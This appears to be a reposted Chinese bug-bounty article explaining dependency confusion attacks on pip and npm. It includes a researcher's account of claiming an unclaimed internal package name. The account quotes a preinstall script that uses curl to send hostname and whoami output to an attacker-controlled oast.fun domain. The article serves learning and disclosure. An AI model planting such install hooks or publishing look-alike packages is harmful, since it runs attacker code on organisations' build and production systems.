声明
本教程只用于学习和研究Dependency Confusion 漏洞,请不要在没有授权的情况下对网站进行非法测试,请不要进行非法投毒!!!
什么是依赖混淆漏洞?
依赖项混淆(Dependency Confusion)
是一种软件供应链漏洞,当公司的内部包错误地从公共存储库(如 npm)而不是其私有注册表下载时,就会发生这种漏洞。如果包管理器(如 npm、pip 或其他)默认从公共源拉取,并且那里存在同名的包,则可能会发生这种情况。
在依赖项混淆攻击中,攻击者可以创建与公司内部包同名的恶意包,并将其发布到公共注册表。如果公司的系统从公共注册表中解析包,他们可能会下载并执行攻击者的代码,从而导致远程代码执行 (RCE) 等安全风险。
为什么会产生这种漏洞
这和服务器主要是新包库的安装的来源优先级有关,当私有库和公有库都存在的情况下,是优先私有库,或者是优先共有库,又或者是谁的版本优先级高就选择哪个,这都和服务器的更新配置还有使用的参数有关,使用不当的优先级,可能就会导致依赖的投毒
例如:在最早发现的 Dependency Confusion 国外师傅 Alex Birsan就发现了 pip 会导致依赖项混淆的原因是因为使用了 --extra-index-url , 当使用了这个参数后,pip 下载就会准寻以下的原则
- • 检查指定的(内部)包索引上是否存在这个库
- • 检查公共包索引 (PyPI) 上是否存在这个库
- • 安装找到的任何版本。如果这两个版本都包含该软件包,则默认从版本号较高的源进行安装。
在这种情况下,我们尝试在pip公共索引中上传一个他引用了的内部包库,并且将版本设置的很高,就会导致代码进行引用更新的时候会安装到我们上传到公共索引的恶意代码
漏洞利用基本流程(略)
不知道会不会有风险,没有在公众号进行详细流程的讲解,在内部小圈子进行展示.....
实例
https://bugcrowd.com/Polyxena
发现依赖
在一次参与过程中,我检查了该公司的一个 JavaScript 文件,并注意到它引用了存储在 中的Node.js包 。这表明该公司正在使用内部 npm 包。我检查了这个内部包是否已在公共 npm 注册表上发布,我发现它在 npm 上未被认领。/node_modules/@confidential-package-name
这种未认领状态表明,任何人都可以创建具有相同名称的包,并通过诱骗公司的系统从公共 npm 注册表而不是其内部源代码下载和执行代码,从而可能导致依赖项混淆问题。
漏洞利用
我使用与内部包相同的名称创建了一个恶意 npm 包。然后,我将此包发布到公共 npm 注册表,嵌入了一个perinstall脚本,该脚本旨在在安装时自动执行。@confidential-package-name
perinstall 脚本简单但有效:
"preinstall": "curl --data-urlencode "info=$(hostname && whoami)" http://<攻击者控制的域>.oast.fun"
他可以很好的将目标的host发送给我们,用于确定受害者的域名,以及代码执行whoami进行漏洞的验证
package.json
此脚本会将安装包的服务器的主机名和用户信息发送到我控制下的域。一旦包在 npm 上上线,我就耐心等待,在几个小时到几天内,我开始收到来自公司生产和非生产环境的多个请求,确认他们的系统正在下载和执行恶意包。
这些请求包括主机名和用户名等详细信息,为了解哪些环境受到依赖关系混淆攻击的影响提供了宝贵的见解。
受控主机上收到 150 多次 HTTP 和 DNS 查询后,我开始分析 IP 地址和从中检索到的数据。我通过过滤掉已知的爬虫程序来策划列表,然后对所有剩余的 IP 进行 WHOIS 查找,以检查是否有任何 IP 与公司的 IP 范围或其服务提供商匹配。
一周内,报告被接受了。获得了 2,500 美元的赏金,这是此特定计划的最高奖励。
原文始发于微信公众号(fkalis):【海外SRC赏金挖掘】供应链攻击,通过依赖投毒实现RCE(Dependency Confusion 漏洞)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论